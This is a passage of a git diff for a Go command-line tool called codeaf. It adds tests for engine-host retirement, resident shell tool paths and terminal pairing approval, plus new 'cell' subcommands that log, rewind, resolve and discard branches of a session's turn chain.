self.Busy == busy }) + dir, err := enginehost.Dir(workspace) + if err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(dir, "sync-environment")); err != nil { + t.Fatal(err) + } + t.Setenv("CODEAF_SYNC_URL", "off") + _, err = clearStaleEngineHost(workspace) + if busy { + var refused *staleHost + if !errors.As(err, &refused) { + t.Fatalf("unconfirmed old sync setting was reused: %v", err) + } + } else if err != nil || !nothingHolds(workspace) { + t.Fatalf("idle old host was reused: %v", err) + } + }) + } +} + +// C10 requires an idle host to retire for a relay change and a busy one to +// refuse attachment, including when the existing host is another build. +func TestC10ChangedSyncSettingRetiresIdleAndRefusesBusyHost(t *testing.T) { + for _, target := range []string{"http://127.0.0.1:41002", "off"} { + for _, busy := range []bool{false, true} { + for _, age := range []string{"same", "older", "newer"} { + t.Run(fmt.Sprintf("%s/busy=%t/%s", target, busy, age), func(t *testing.T) { + workspace, _ := environmentTestHome(t) + t.Setenv("CODEAF_SYNC_URL", "http://127.0.0.1:41001") + child := environmentChild(t, workspace, os.Getenv(config.APIKeyEnv)) + if busy { + environmentWindow(t, workspace, "") + } + before := waitEnvironmentHost(t, workspace, func(self remote.HostSelf) bool { return self.Busy == busy }) + me := thisEngineBuild() + if age != "same" { + me.Build = "another-build" + me.BuiltAt = before.BuiltAt.Add(time.Hour) + if age == "newer" { + me.BuiltAt = before.BuiltAt.Add(-time.Hour) + } + } + t.Setenv("CODEAF_SYNC_URL", target) + note, err := clearStaleEngineHostAs(workspace, me) + if busy { + var refused *staleHost + if !errors.As(err, &refused) || err.Error() != differentEngineEnvironmentSentence(workspace) { + t.Fatalf("busy mismatched host allowed attachment: note=%q err=%v", note, err) + } + self, err := enginehost.Ask(workspace, remote.WhoIs{}) + if err != nil || self.PID != child.Process.Pid { + t.Fatalf("busy host was stopped: %+v %v", self, err) + } + } else if err != nil || !strings.Contains(note, "restarted") || !nothingHolds(workspace) { + t.Fatalf("idle mismatched host was reused: note=%q err=%v", note, err) + } + }) + } + } + } +} diff --git a/cmd/codeaf/c18_resident_seat_test.go b/cmd/codeaf/c18_resident_seat_test.go new file mode 100644 index 0000000000..c14c5b4daa --- /dev/null +++ b/cmd/codeaf/c18_resident_seat_test.go @@ -0,0 +1,85 @@ +package main + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/consent" + tools "github.com/Agent-Field/codeaf/internal/exec" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/resident" + "github.com/Agent-Field/codeaf/internal/store" +) + +// C18 requires real resident work and housekeeping to run shell tools without +// the package's host-seat fallback masking a missing production context. +func TestC18ResidentRootsRunToolsWithoutTestFallback(t *testing.T) { + if os.Getenv("CODEAF_TEST_NO_HOST_SEAT") != "1" { + child := exec.CommandContext(t.Context(), os.Args[0], "-test.run=^TestC18ResidentRootsRunToolsWithoutTestFallback$", "-test.v") + child.Env = append(os.Environ(), "CODEAF_TEST_NO_HOST_SEAT=1") + if out, err := child.CombinedOutput(); err != nil { + t.Fatalf("resident without fallback: %v\n%s", err, out) + } + return + } + t.Cleanup(cell.UseAvailabilityInTests(false)) + t.Setenv("CODEAF_RTK", "off") + workspace := t.TempDir() + if _, err := executor.For(context.Background()).In(workspace).Exec(t.Context(), executor.ExecRequest{Argv: []string{"true"}}, nil); !errors.Is(err, executor.ErrNoSeat) { + t.Fatalf("the test fallback is still active: %v", err) + } + graph, err := store.Open(filepath.Join(t.TempDir(), "graph.db")) + if err != nil { + t.Fatal(err) + } + defer graph.Close() + space, err := tools.NewWorkspace(workspace) + if err != nil { + t.Fatal(err) + } + if err := graph.Splice(store.RootID, store.Subtree{Nodes: []store.NodeSpec{{ID: "shell", Brief: "run shell", Stage: 1}}}, store.Provenance{Origin: store.OriginUser, Intent: "run shell"}); err != nil { + t.Fatal(err) + } + if _, err := graph.RequestCommand(store.Command{SessionID: "resident", Kind: store.CommandSplice, Instruction: "check housekeeping", Deliberate: true}); err != nil { + t.Fatal(err) + } + done := make(chan string, 2) + runTool := func(ctx context.Context, label string) { + tool := tools.NewToolbox(space, label, nil) + result := tool.Execute(ctx, "sh", `{"cmd":"printf resident-seat"}`) + if result.IsError || !strings.Contains(result.Content, "resident-seat") { + done <- fmt.Sprintf("%s: %+v", label, result) + return + } + done <- "" + } + runner := resident.NewRunner(graph, func(ctx context.Context, _ store.Node) (resident.ExecResult, error) { + runTool(ctx, "work") + return resident.ExecResult{Summary: "done"}, nil + }, "resident", 1) + reconciler := resident.New(graph, func(ctx context.Context, _, _ string) (resident.Compiled, error) { + runTool(ctx, "housekeeping") + return resident.Compiled{}, errors.New("the fixture needs no new plan") + }, nil) + brain := &chatBrain{window: &chatWindow{graph: graph}, session: "resident", runner: runner, reconciler: reconciler, consent: consent.NewDesk(graph)} + brain.start() + defer brain.stop() + for range 2 { + select { + case result := <-done: + if result != "" { + t.Error(result) + } + case <-time.After(10 * time.Second): + t.Fatal("resident did not reach both real tool paths") + } + } +} diff --git a/cmd/codeaf/c1_link_key_test.go b/cmd/codeaf/c1_link_key_test.go new file mode 100644 index 0000000000..61f41ac9dc --- /dev/null +++ b/cmd/codeaf/c1_link_key_test.go @@ -0,0 +1,48 @@ +package main + +import ( + "context" + "errors" + "fmt" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/pair" +) + +// C1 requires explicit a approval through the real terminal pairing door. +func TestC1TerminalLinkApprovalRequiresA(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + token := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + out, err := rig.approveWith(t, []string{"approve", token}, "a\n") + joined := <-done + if err != nil || joined != nil || !strings.Contains(out.String(), "is now paired") { + t.Fatalf("C1 a was not approval: err=%v join=%v output=%s", err, joined, out.String()) + } +} + +// C1 declines every other terminal key, including the older code-pairing yes. +func TestC1TerminalLinkApprovalDeclinesEveryOtherKey(t *testing.T) { + for _, answer := range []string{"d\n", "\x1b\n", "\n", "y\n", "yes\n", "A\n", "anything\n"} { + t.Run(fmt.Sprintf("%q", answer), func(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + token := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + out, err := rig.approveWith(t, []string{"approve", token}, answer) + if joined := <-done; err != nil || !errors.Is(joined, pair.ErrLinkDeclined) || !strings.Contains(out.String(), pair.DeclinedLine) { + t.Fatalf("%q approved or failed to decline: err=%v join=%v output=%s", answer, err, joined, out.String()) + } + }) + } +} + +// C2 keeps the existing terminal code-pairing yes/no reader unchanged. +func TestC2CodePairingKeepsYesNo(t *testing.T) { + for answer, want := range map[string]bool{"y\n": true, "yes\n": true, "a\n": false, "d\n": false, "\n": false} { + out := &pairScreenText{} + if got := newTerminal(strings.NewReader(answer), out).confirm(context.Background(), "Compare the three words"); got != want { + t.Errorf("code pairing answer %q: got %t, want %t", answer, got, want) + } + } +} diff --git a/cmd/codeaf/carried.go b/cmd/codeaf/carried.go index 73054a6a65..ddb644760b 100644 --- a/cmd/codeaf/carried.go +++ b/cmd/codeaf/carried.go @@ -111,7 +111,7 @@ func runCarried(program delegate.Delegate, args []string) error { // to its jobs as it exits — is ignored rather than allowed to kill that // finishing halfway. func carriedSignals() (context.Context, context.CancelFunc) { - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM, syscall.SIGHUP) + ctx, stop := signal.NotifyContext(hostSeated(context.Background()), os.Interrupt, syscall.SIGTERM, syscall.SIGHUP) context.AfterFunc(ctx, func() { signal.Ignore(syscall.SIGHUP) stop() diff --git a/cmd/codeaf/carried_folder_fixture_test.go b/cmd/codeaf/carried_folder_fixture_test.go new file mode 100644 index 0000000000..88e35efe86 --- /dev/null +++ b/cmd/codeaf/carried_folder_fixture_test.go @@ -0,0 +1,84 @@ +package main + +import ( + "context" + "flag" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/agentsession" + "github.com/Agent-Field/codeaf/internal/delegate" +) + +// fakeFolder is the name of the fake that works in its folder. +const fakeFolder = "fake-folder" + +// fakeFolderProgram is a program that edits files the way senior-dev does: +// it says whether it was told it works without git, writes one file of work +// and one of its own notes into the folder it was handed, and passes. +func fakeFolderProgram() delegate.Delegate { + return delegate.Delegate{ + Name: fakeFolder, Summary: "a program the tests carry, which writes a file where it is told to work", Default: "run", Page: "delegates", + Guide: "For the tests' folder work, with a brief that names the file.", + PlainFolder: []string{"--in-place"}, + Notes: ".fake-folder", + Commands: []delegate.Command{{ + Name: "run", Usage: "[flags] -- ", Summary: "does the whole task", + Bind: func(fs *flag.FlagSet) delegate.Body { + inPlace := fs.Bool("in-place", false, "work without git") + return func(ctx context.Context, host delegate.Host, args []string) error { + host.Hello([]string{"implement"}) + mode := "git" + if *inPlace { + mode = "in place" + } + host.Step(delegate.StepRecord{Command: "folder", Observation: mode}) + if err := os.WriteFile(filepath.Join(host.Workspace(), "made.txt"), []byte("made\n"), 0o644); err != nil { + return err + } + if err := os.MkdirAll(filepath.Join(host.Workspace(), ".fake-folder"), 0o755); err != nil { + return err + } + if err := os.WriteFile(filepath.Join(host.Workspace(), ".fake-folder", "spec.md"), []byte(strings.Join(args, " ")+"\n"), 0o644); err != nil { + return err + } + host.Terminal(delegate.Ending{Status: delegate.StatusPass, Message: "made it"}) + return nil + } + }, + }}, + } +} + +// A real child asks both declared model flags, so resolving only the main +// flag cannot hide behind a passing parent parser or a tolerant provider. +func fakeModelFlagsProgram() delegate.Delegate { + return delegate.Delegate{Name: "fake-model-flags", Summary: "tests model resolution", Guide: "Tests the shell's model flags.", Page: "delegates", Default: "run", ModelFlag: "model", AuxiliaryModelFlags: []string{"light"}, Commands: []delegate.Command{{Name: "run", Usage: "[flags] -- ", Summary: "asks both models", Bind: func(fs *flag.FlagSet) delegate.Body { + model := fs.String("model", "", "the working model") + light := fs.String("light", "", "the light model") + return func(ctx context.Context, host delegate.Host, _ []string) error { + client, err := agentsession.NewClient(host.Models(), 0) + if err != nil { + return err + } + for _, selected := range []string{*model, *light} { + if selected == "" { + selected = *model + } + reply, err := client.Complete(ctx, agentsession.Request{Model: selected, Messages: []ai.Message{{Role: "user", Content: []ai.ContentPart{{Type: "text", Text: "answer"}}}}}) + if err != nil { + host.Terminal(delegate.Ending{Status: delegate.StatusFail, Message: err.Error()}) + return nil + } + if reply.Text() != "done" { + return fmt.Errorf("unexpected answer") + } + } + host.Terminal(delegate.Ending{Status: delegate.StatusPass, Message: "both models answered"}) + return nil + } + }}}} +} diff --git a/cmd/codeaf/carried_folder_test.go b/cmd/codeaf/carried_folder_test.go index 4877dbdec2..2fbf9d151d 100644 --- a/cmd/codeaf/carried_folder_test.go +++ b/cmd/codeaf/carried_folder_test.go @@ -12,8 +12,6 @@ package main import ( "bytes" - "context" - "flag" "os" "os/exec" "path/filepath" @@ -27,46 +25,6 @@ import ( "github.com/Agent-Field/codeaf/internal/session" ) -// fakeFolder is the name of the fake that works in its folder. -const fakeFolder = "fake-folder" - -// fakeFolderProgram is a program that edits files the way senior-dev does: -// it says whether it was told it works without git, writes one file of work -// and one of its own notes into the folder it was handed, and passes. -func fakeFolderProgram() delegate.Delegate { - return delegate.Delegate{ - Name: fakeFolder, Summary: "a program the tests carry, which writes a file where it is told to work", Default: "run", Page: "delegates", - Guide: "For the tests' folder work, with a brief that names the file.", - PlainFolder: []string{"--in-place"}, - Notes: ".fake-folder", - Commands: []delegate.Command{{ - Name: "run", Usage: "[flags] -- ", Summary: "does the whole task", - Bind: func(fs *flag.FlagSet) delegate.Body { - inPlace := fs.Bool("in-place", false, "work without git") - return func(ctx context.Context, host delegate.Host, args []string) error { - host.Hello([]string{"implement"}) - mode := "git" - if *inPlace { - mode = "in place" - } - host.Step(delegate.StepRecord{Command: "folder", Observation: mode}) - if err := os.WriteFile(filepath.Join(host.Workspace(), "made.txt"), []byte("made\n"), 0o644); err != nil { - return err - } - if err := os.MkdirAll(filepath.Join(host.Workspace(), ".fake-folder"), 0o755); err != nil { - return err - } - if err := os.WriteFile(filepath.Join(host.Workspace(), ".fake-folder", "spec.md"), []byte(strings.Join(args, " ")+"\n"), 0o644); err != nil { - return err - } - host.Terminal(delegate.Ending{Status: delegate.StatusPass, Message: "made it"}) - return nil - } - }, - }}, - } -} - // hostWithFolderChild is [hostWithRealChild] for the fake that works in its // folder, and it answers what the run printed on stdout and on stderr. func hostWithFolderChild(t *testing.T) (*carriedFunnel, *lockedBuffer, *lockedBuffer) { diff --git a/cmd/codeaf/carried_model_flags_test.go b/cmd/codeaf/carried_model_flags_test.go index 3c07470ce9..656e8f5267 100644 --- a/cmd/codeaf/carried_model_flags_test.go +++ b/cmd/codeaf/carried_model_flags_test.go @@ -3,9 +3,7 @@ package main import ( - "context" "encoding/json" - "flag" "fmt" "net/http" "net/http/httptest" @@ -13,43 +11,14 @@ import ( "sync" "testing" - "github.com/Agent-Field/agentfield/sdk/go/ai" - "github.com/Agent-Field/codeaf/internal/agentsession" "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/delegate" "github.com/Agent-Field/codeaf/internal/delegate/builtin" ) -// A real child asks both declared model flags, so resolving only the main -// flag cannot hide behind a passing parent parser or a tolerant provider. -func fakeModelFlagsProgram() delegate.Delegate { - return delegate.Delegate{Name: "fake-model-flags", Summary: "tests model resolution", Guide: "Tests the shell's model flags.", Page: "delegates", Default: "run", ModelFlag: "model", AuxiliaryModelFlags: []string{"light"}, Commands: []delegate.Command{{Name: "run", Usage: "[flags] -- ", Summary: "asks both models", Bind: func(fs *flag.FlagSet) delegate.Body { - model := fs.String("model", "", "the working model") - light := fs.String("light", "", "the light model") - return func(ctx context.Context, host delegate.Host, _ []string) error { - client, err := agentsession.NewClient(host.Models(), 0) - if err != nil { - return err - } - for _, selected := range []string{*model, *light} { - if selected == "" { - selected = *model - } - reply, err := client.Complete(ctx, agentsession.Request{Model: selected, Messages: []ai.Message{{Role: "user", Content: []ai.ContentPart{{Type: "text", Text: "answer"}}}}}) - if err != nil { - host.Terminal(delegate.Ending{Status: delegate.StatusFail, Message: err.Error()}) - return nil - } - if reply.Text() != "done" { - return fmt.Errorf("unexpected answer") - } - } - host.Terminal(delegate.Ending{Status: delegate.StatusPass, Message: "both models answered"}) - return nil - } - }}}} -} - +// TestShellResolvesAuxiliaryModelsBeforeARealChildCallsTheProvider proves C18: +// model flags reach a real child, and the fixture joins its background profile +// writers before removing the home they belong to. func TestShellResolvesAuxiliaryModelsBeforeARealChildCallsTheProvider(t *testing.T) { for _, tc := range []struct { name, light string @@ -68,6 +37,11 @@ func TestShellResolvesAuxiliaryModelsBeforeARealChildCallsTheProvider(t *testing t.Setenv(carriedChildEnv, "model-flags") t.Setenv("DO_NOT_TRACK", "1") t.Setenv("CODEAF_NO_UPDATE_CHECK", "1") + // The pool is not the provider under test; its unrelated refresh stays + // on loopback and must finish before this fixture gives up its profile. + t.Setenv("CODEAF_MODEL_POOL_URL", "http://127.0.0.1:1/index.json") + t.Setenv("CODEAF_MODEL_POOL_MIRROR_URL", "http://127.0.0.1:1/index.json") + t.Cleanup(func() { stopPoolErrands(home) }) var mu sync.Mutex var sent []string server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { diff --git a/cmd/codeaf/cell.go b/cmd/codeaf/cell.go new file mode 100644 index 0000000000..32816afc97 --- /dev/null +++ b/cmd/codeaf/cell.go @@ -0,0 +1,243 @@ +package main + +import ( + "context" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +const cellUsage = "usage: codeaf cell log [] | codeaf cell rewind [] | codeaf cell resolve [] | codeaf cell discard [] | codeaf cell gc [--dry-run] | codeaf cell list --all | codeaf cell report [] [--export ]" + +// cellVerb is one word after `cell`: how many arguments of its own it takes +// before the optional cell name, and what it does to the cell. A verb that is +// about every cell on the device (wide) takes no cell name and gets all its +// arguments. +type cellVerb struct { + args int + wide bool + flag string // a value-taking flag the verb owns; its value is passed after the positional arguments + run func(c cell.Cell, args []string, out io.Writer) error +} + +var cellVerbs = map[string]cellVerb{ + "log": {args: 0, run: cellLog}, + "rewind": {args: 1, run: cellRewind}, + "resolve": {args: 0, run: cellResolve}, + "discard": {args: 1, run: cellDiscard}, + "gc": {wide: true, run: cellGC}, + "list": {wide: true, run: cellListVerb}, + "report": {args: 0, flag: "--export", run: cellReport}, +} + +// runCell is the stage 0 door onto a cell's turn chain. Like `engine` it is +// machinery, not on the help page, until cells are the default. +func runCell(args []string) error { + if reason := cell.UnavailableReason(); reason != "" { + return errors.New(reason) + } + cwd, _ := os.Getwd() + return runCellIn(args, os.Stdout, cwd) +} + +// runCellIn is runCell with the writer and the working directory injectable. +func runCellIn(args []string, out io.Writer, cwd string) error { + if len(args) == 0 { + return errors.New(cellUsage) + } + verb, ok := cellVerbs[args[0]] + rest := args[1:] + if ok && verb.wide { + return verb.run(cell.Cell{}, rest, out) + } + rest, flagged, err := takeFlag(rest, verb.flag) + if err != nil { + return err + } + if !ok || len(rest) < verb.args || len(rest) > verb.args+1 { + return errors.New(cellUsage) + } + c, err := openCellNamed(strings.Join(rest[verb.args:], ""), cwd) + if err != nil { + return err + } + return verb.run(c, append(rest[:verb.args:verb.args], flagged...), out) +} + +// takeFlag removes ` ` from args and answers the value, so the +// positional arguments that are left can be counted. An empty flag takes nothing. +func takeFlag(args []string, flag string) (rest, value []string, err error) { + for i, a := range args { + if flag == "" || a != flag { + continue + } + if i+1 >= len(args) { + return nil, nil, fmt.Errorf("%s needs a file name", flag) + } + return append(append([]string{}, args[:i]...), args[i+2:]...), args[i+1 : i+2], nil + } + return args, nil, nil +} + +// openCellNamed opens the cell an id or a folder path names, or, with no name, +// the cell the working directory is inside. +func openCellNamed(name, cwd string) (cell.Cell, error) { + switch { + case name == "": + return openCellAbove(cwd) + case cell.ValidID(name): + return openCellByID(name) + } + return openCellAbove(name) +} + +// openCellByID finds a cell by id where a chat keeps it: in the project bucket +// its workspace names, or in the flat cells directory of cell.Create. +func openCellByID(id string) (cell.Cell, error) { + buckets, _ := filepath.Glob(filepath.Join(home.Join("v3", "projects"), "*", id)) + for _, dir := range append(buckets, filepath.Join(cell.Dir(home.Dir()), id)) { + if c, err := cell.OpenAt(dir, id); err == nil { + return c, nil + } + } + return cell.Open(home.Dir(), id) +} + +func openCellAbove(dir string) (cell.Cell, error) { + for d := dir; ; d = filepath.Dir(d) { + if _, err := os.Stat(filepath.Join(d, filepath.FromSlash(cell.MetaPath))); err == nil { + return cell.OpenAt(d, filepath.Base(d)) + } + if filepath.Dir(d) == d { + return cell.Cell{}, fmt.Errorf("no cell at or above %s; name one by id or folder", dir) + } + } +} + +// cellLog prints one line per turn, newest first: id, parent, time, trigger, +// tools (an external call is marked), receipt. +func cellLog(c cell.Cell, _ []string, out io.Writer) error { + entries, err := cellstore.Log(c) + if err != nil { + return err + } + for _, e := range entries { + if e.IsAdopted { + fmt.Fprintf(out, "%s %s sealed on %s\n", short(e.Turn.ID), orDash(short(e.Turn.Parent)), orDefault(e.Adopted, "another device")) + continue + } + fmt.Fprintf(out, "%s %s %s %s %s %s\n", short(e.Turn.ID), orDash(short(e.Turn.Parent)), + time.UnixMilli(e.Turn.SealedAtMs).UTC().Format("2006-01-02T15:04:05Z"), + e.Turn.Trigger, toolSummary(e.Receipt), short(e.Turn.Receipt)) + } + return writeGaps(c, out) +} + +// writeGaps marks what the chain cannot show yet: calls that began and never +// finished, and calls that finished and were never sealed. The second is the +// gap a failing seal leaves, and it stays in the call log until a seal holds, +// so it is still here after the session that hit it is gone. +func writeGaps(c cell.Cell, out io.Writer) error { + _, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return err + } + writeUnsealed(rec.Completed, out) + writeUnfinishedOf(rec.Incomplete, out) + return nil +} + +// writeUnsealed says how many finished calls no turn holds, and since when. +func writeUnsealed(done []cellstore.Executed, out io.Writer) { + if len(done) == 0 { + return + } + fmt.Fprintf(out, "unsealed %d call(s) since %s not in any turn yet; the next seal that holds takes them\n", len(done), + time.UnixMilli(done[0].Call.Started).UTC().Format("2006-01-02T15:04:05Z")) +} + +// writeUnfinishedOf says which calls began and never finished: a crash left them +// in the call log, and the harness never runs them again on its own. +func writeUnfinishedOf(open []cellstore.Intent, out io.Writer) { + for _, in := range open { + fmt.Fprintf(out, "unfinished %s %s started %s not run again; `codeaf cell resolve` closes it\n", in.Tool, + in.SideEffect, time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } +} + +// cellResolve closes every unfinished call of a cell no session holds, so the +// cell can be rewound again. +func cellResolve(c cell.Cell, _ []string, out io.Writer) error { + if cellBusy(c) { + return fmt.Errorf("a session holds this cell; close it first — %s", heldByEngineHint()) + } + wal, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return err + } + for _, in := range rec.Incomplete { + if err := wal.Resolve(in); err != nil { + return err + } + fmt.Fprintf(out, "resolved %s started %s\n", in.Tool, time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } + return nil +} + +// cellRewind restores the cell to a turn and prints the turn that records it. +func cellRewind(c cell.Cell, args []string, out io.Writer) error { + sealed, err := cellEngine(c).Rewind(context.Background(), c, args[0]) + if err != nil { + return err + } + _, err = fmt.Fprintf(out, "rewound to %s as new turn %s\n", args[0], short(sealed.Turn.ID)) + return err +} + +// cellEngine is the engine of a cell opened from a verb: built from the +// session place the cell's meta records, exactly as the session's seat builds it. +func cellEngine(c cell.Cell) cellstore.Engine { return cellstore.EngineFor(cellWorkspace(c)) } + +// cellWorkspace is the tree a cell's session seals: its own work/ when the +// session owns its workspace, else the project it borrowed. +func cellWorkspace(c cell.Cell) string { + meta, _ := session.LoadMeta(c.Root) + return v3PlaceFor(c.Root, meta.Workspace, meta.Owned).Workspace +} + +const shortIDLen = 12 + +func short(id string) string { return id[:min(len(id), shortIDLen)] } + +func orDash(s string) string { return orDefault(s, "-") } + +func orDefault(s, otherwise string) string { + if s == "" { + return otherwise + } + return s +} + +func toolSummary(r cellstore.Receipt) string { + tools := make([]string, len(r.Calls)) + for i, call := range r.Calls { + tools[i] = call.Tool + if call.SideEffect == string(executor.EffectExternal) { + tools[i] += "[external]" + } + } + return orDash(strings.Join(tools, ",")) +} + +// cellListVerb adapts cellList to the verb table, which hands every verb a cell. +func cellListVerb(_ cell.Cell, args []string, out io.Writer) error { return cellList(args, out) } diff --git a/cmd/codeaf/cell_branch.go b/cmd/codeaf/cell_branch.go new file mode 100644 index 0000000000..cfe2855584 --- /dev/null +++ b/cmd/codeaf/cell_branch.go @@ -0,0 +1,89 @@ +package main + +import ( + "context" + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// A death branch (L12) is a cell that holds the turns a chat lost its lease +// with. `codeaf cell discard` lets it go: the branch is archived, not deleted. +// It runs on the device that drives the chat, and proves it still holds the +// lease before it changes anything. +// +// THERE IS NO `cell merge` IN STAGE 1, and none is offered anywhere. Folding a +// branch back needs a merge of two sealed trees, and the engine's merge works +// on a live workspace and a snapshot it holds, not on a branch head that is +// still only in the store; a merge that sealed a wrong head would be worse than +// no merge. The terminal verb discards; home's continuation door also opens +// the kept turns as a separate chat. + +// driverOf answers how this device drives a chat: its fence and last durable head. +type driverOf interface { + Driving(ctx context.Context, c cell.Cell) (*cellsync.Driving, error) +} + +// branchDoor is everything the verb needs, behind interfaces so tests use fakes. +type branchDoor struct { + Dir directory.Client + Driver driverOf +} + +// openBranchDoor builds the door for a device. Until a device has sync set up +// the verb says so instead of guessing. +var openBranchDoor = func() (branchDoor, error) { + s, err := syncOf() + if err != nil { + return branchDoor{}, err + } + return branchDoor{Dir: s.Dir, Driver: s}, nil +} + +func cellDiscard(c cell.Cell, args []string, out io.Writer) error { + door, err := openBranchDoor() + if err != nil { + return err + } + return door.discard(context.Background(), c, args[0], out) +} + +// discard archives the branch and nothing else. +func (b branchDoor) discard(ctx context.Context, c cell.Cell, branchID string, out io.Writer) error { + if err := b.prove(ctx, c, branchID); err != nil { + return err + } + if err := b.Dir.Archive(ctx, branchID); err != nil { + return err + } + _, err := fmt.Fprintf(out, "discarded %s\n", short(branchID)) + return err +} + +// prove checks that this device holds the chat's lease (a heartbeat with its +// fence, which the directory refuses for a superseded one) and that branchID is +// a live branch of that chat. +func (b branchDoor) prove(ctx context.Context, c cell.Cell, branchID string) error { + d, err := b.Driver.Driving(ctx, c) + if err != nil { + return err + } + parent, err := b.Dir.Cell(ctx, d.ID()) + if err != nil { + return err + } + if _, err := b.Dir.Heartbeat(ctx, d.ID(), directory.Beat{Fence: d.Fence, Pending: parent.Cell.Lease.Pending}); err != nil { + return fmt.Errorf("this device is not the one working on %s: %w", short(d.ID()), err) + } + branch, err := b.Dir.Cell(ctx, branchID) + if err != nil { + return err + } + if branch.Cell.ParentCell != d.ID() || branch.Cell.Archived { + return fmt.Errorf("%s is not a live branch of %s", short(branchID), short(d.ID())) + } + return nil +} diff --git a/cmd/codeaf/cell_branch_test.go b/cmd/codeaf/cell_branch_test.go new file mode 100644 index 0000000000..09914322ea --- /dev/null +++ b/cmd/codeaf/cell_branch_test.go @@ -0,0 +1,163 @@ +package main + +import ( + "bytes" + "context" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + parentID = "01J0000000000000000000000A" + branchID = "01J0000000000000000000000B" +) + +// branchRig is device A driving a chat whose death branch device B made. +type branchRig struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + store *blobstore.Memory + engA *cellsync.FakeEngine + parent cell.Cell + drv *cellsync.Driving + door branchDoor +} + +type fixedDriver struct{ d *cellsync.Driving } + +func (f fixedDriver) Driving(context.Context, cell.Cell) (*cellsync.Driving, error) { return f.d, nil } + +func newBranchRig(t *testing.T) *branchRig { + t.Helper() + ctx := context.Background() + r := &branchRig{t: t, clock: directorytest.NewFakeClock(), store: blobstore.NewMemory(), engA: cellsync.NewFakeEngine(t.TempDir())} + r.dir = directory.NewMemory(r.clock.Now) + dirA := r.dir.For("dev_a") + r.parent = cell.Cell{ID: parentID, Root: t.TempDir()} + if err := os.WriteFile(filepath.Join(r.parent.Root, "parent.txt"), []byte("parent"), 0o600); err != nil { + t.Fatal(err) + } + r.drv = &cellsync.Driving{Cell: r.parent} + pub := &cellsync.Publisher{Engine: r.engA, Store: r.store, Dir: dirA} + head := r.engA.Seal(r.parent, map[string]string{"parent.txt": "parent"}) + if err := pub.Publish(ctx, r.drv, head, cellsync.PublishInfo{Class: "chat", Size: 1}); err != nil { + t.Fatal(err) + } + r.makeBranch(map[string]string{"branch.txt": "branch"}) + r.door = branchDoor{Dir: dirA, Driver: fixedDriver{r.drv}} + return r +} + +// makeBranch is device B's death branch: its objects reach the store, then the record. +func (r *branchRig) makeBranch(files map[string]string) { + r.t.Helper() + ctx := context.Background() + engB := cellsync.NewFakeEngine(r.t.TempDir()) + bc := cell.Cell{ID: branchID, Root: r.t.TempDir()} + head := engB.Seal(bc, files) + ex, err := engB.Export(ctx, bc, head) + if err != nil { + r.t.Fatal(err) + } + for _, f := range ex.Frames { + raw, _ := os.ReadFile(f.Path) + if _, err := r.store.PutFrame(ctx, raw); err != nil { + r.t.Fatal(err) + } + } + _, err = r.dir.For("dev_b").Create(ctx, branchID, directory.CellInit{Head: head, Class: "chat", ParentCell: parentID, OrphanTurns: 1}) + if err != nil { + r.t.Fatal(err) + } +} + +func (r *branchRig) rec(id string) directory.Cell { + r.t.Helper() + v, err := r.dir.For("dev_a").Cell(context.Background(), id) + if err != nil { + r.t.Fatal(err) + } + return v.Cell +} + +// loseLease lets A's lease lapse and gives it to device C. +func (r *branchRig) loseLease() { + r.t.Helper() + r.clock.Advance(directory.LeaseTTL + 1) + if _, err := r.dir.For("dev_c").Acquire(context.Background(), parentID, directory.AcquireOpts{}); err != nil { + r.t.Fatal(err) + } +} + +func TestCellDiscard(t *testing.T) { + t.Run("discard archives", func(t *testing.T) { + r := newBranchRig(t) + before := r.rec(parentID).Head + if err := r.door.discard(context.Background(), r.parent, branchID, &bytes.Buffer{}); err != nil { + t.Fatal(err) + } + if !r.rec(branchID).Archived || r.rec(parentID).Head != before { + t.Fatal("discard must archive the branch and leave the parent alone") + } + }) + + t.Run("discard does not run without the parent's lease", func(t *testing.T) { + r := newBranchRig(t) + r.loseLease() + before := r.rec(parentID).Head + if err := r.door.discard(context.Background(), r.parent, branchID, &bytes.Buffer{}); !errors.Is(err, directory.ErrFenceStale) { + t.Errorf("discard: err = %v, want ErrFenceStale", err) + } + if r.rec(branchID).Archived || r.rec(parentID).Head != before { + t.Fatal("a device without the lease changed something") + } + }) + + t.Run("a stranger's branch is refused", func(t *testing.T) { + r := newBranchRig(t) + if _, err := r.dir.For("dev_b").Create(context.Background(), "other", directory.CellInit{Head: "h", Class: "chat"}); err != nil { + t.Fatal(err) + } + if err := r.door.discard(context.Background(), r.parent, "other", &bytes.Buffer{}); 